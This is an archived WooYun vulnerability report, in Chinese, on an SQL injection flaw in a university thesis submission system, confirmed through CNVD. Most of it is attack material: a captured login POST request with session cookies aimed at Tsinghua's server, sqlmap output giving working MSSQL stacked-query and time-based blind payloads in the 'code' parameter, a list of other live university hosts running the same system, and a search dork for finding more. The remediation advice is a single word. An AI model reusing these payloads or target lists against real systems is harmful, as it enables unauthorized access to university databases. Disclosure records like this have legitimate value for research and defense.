漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-099334
漏洞标题：某学位论文SQL漏洞
相关厂商：杭州麦达电子有限公司
漏洞作者： 路人甲
提交时间：2015-03-06 14:52
修复时间：2015-06-09 10:30
公开时间：2015-06-09 10:30
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-03-06： 细节已通知厂商并且等待厂商处理中
2015-03-11： 厂商已经确认，细节仅向厂商公开
2015-03-14： 细节向第三方安全合作伙伴开放
2015-05-05： 细节向核心白帽子及相关领域专家公开
2015-05-15： 细节向普通白帽子公开
2015-05-25： 细节向实习白帽子公开
2015-06-09： 细节向公众公开
简要描述：
某学位论文SQL漏洞
详细说明：
某学位论文SQL漏洞
漏洞证明：
这次拿到清华大学的论文提交系统做
案例一：
http://thesis.lib.tsinghua.edu.cn:8001/paper/search.jsp
出问题的在这里的账号，我在抓post发现这个抓去注入只能测试一次，也就是说你第一次post查出来是注入，再去post就会失败，需要从新抓取post数据。 ps:抓包千万别让他跳转到下一个页面，他这个参数抓一次就变一个
post数据：
POST /papercon HTTP/1.1
Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, */*
Referer: http://thesis.lib.tsinghua.edu.cn:8001/paper/search.jsp
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: thesis.lib.tsinghua.edu.cn:8001
Content-Length: 133
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: SESSfd0269bf02d778bea282bf1ea4b41113=55g1n7ol2nu94ibks886f9qb54; JSESSIONID=A1CD0701F60805B606DEA20AD24F2AE4
action=login&r_code=%D1%A7%BA%C5%B2%BB%C4%DC%CE%AA%BF%D5&r_password=%C3%DC%C2%EB%B2%BB%C4%DC%CE%AA%BF%D5&code=222222&password=3333333
返回数据:
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: code (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: action=login&r_code=%D1%A7%BA%C5%B2%BB%C4%DC%CE%AA%BF%D5&r_password
=%C3%DC%C2%EB%B2%BB%C4%DC%CE%AA%BF%D5&code=222222'; WAITFOR DELAY '0:0:5'--&pass
word=3333333
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: action=login&r_code=%D1%A7%BA%C5%B2%BB%C4%DC%CE%AA%BF%D5&r_password
=%C3%DC%C2%EB%B2%BB%C4%DC%CE%AA%BF%D5&code=222222' WAITFOR DELAY '0:0:5'--&passw
ord=3333333
---
清华的数据库真萌萌哒
我的网速慢就不继续列表了。上几个案例：
案例二：
http://202.113.20.163:8001/paper/search.jsp
案例三
http://202.198.25.8:8001/paper/search.jsp
案例四
http://epaper.lib.bnu.edu.cn:8080/paper/search.jsp
案例五：
http://166.111.120.124:8001/paper/search.jsp
http://210.34.157.79:8021/paper/search.jsp
http://202.114.89.32:8001/paper/search.jsp
http://122.207.86.53/paper/search.jsp
http://166.111.120.124:8001/paper/search.jsp
http://dpaper.library.nenu.edu.cn:8001/paper/login.jsp
http://epaper.lib.bnu.edu.cn:8080/paper/search.jsp
http://202.113.20.163:8001/paper/search.jsp
更多案例：
inurl:/paper/ "论文提交系统"
http://fofa.so/search/result?q=title%3ATRS学位论文服务系统&qbase64=dGl0bGU6VFJT5a2m5L2N6K665paH5pyN5Yqh57O757uf
修复方案：
过滤
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：16
确认时间：2015-03-11 10:28
厂商回复：
CNVD确认所述情况，已经由CNVD通过以往建立的处置渠道向相关单位通报。
最新状态：
暂无